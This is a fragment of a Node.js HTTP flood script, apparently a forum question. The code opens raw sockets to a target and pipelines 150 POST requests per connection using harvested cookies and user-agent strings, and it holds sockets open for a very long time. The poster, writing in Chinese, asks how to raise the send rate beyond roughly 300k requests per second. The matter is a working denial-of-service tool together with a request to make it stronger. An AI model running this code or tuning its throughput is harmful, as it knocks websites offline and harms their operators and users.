if (cookie !== '' && ua !== '') {
var s = require('net').Socket();
s.connect(80, host);
s.setTimeout(10000);
for (var i = 0; i < 150; i++) {
s.write('POST ' + target + '/ HTTP/1.1\r\nHost: ' + host + '\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*//*;q=0.8\r\nUser-Agent: ' + ua + '\r\nUpgrade-Insecure-Requests: 1\r\nCookie: ' + cookie + '\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-US,en;q=0.9\r\ncache-Control: max-age=0\r\nConnection: Keep-Alive\r\nName=Gareth+Wylie&Age=24&Formula=a+%2B+b+%3D%3D+13%25%21\r\n\r\n');
}
s.on('data', function () {
setTimeout(function () {
s.destroy();
return delete s;
}, 50000000);
})
}
});
如何使它每秒发送更多请求?我已经尝试过更改许多不同的数字,但并没有做太多。我认为它的发送速度约为300k / s。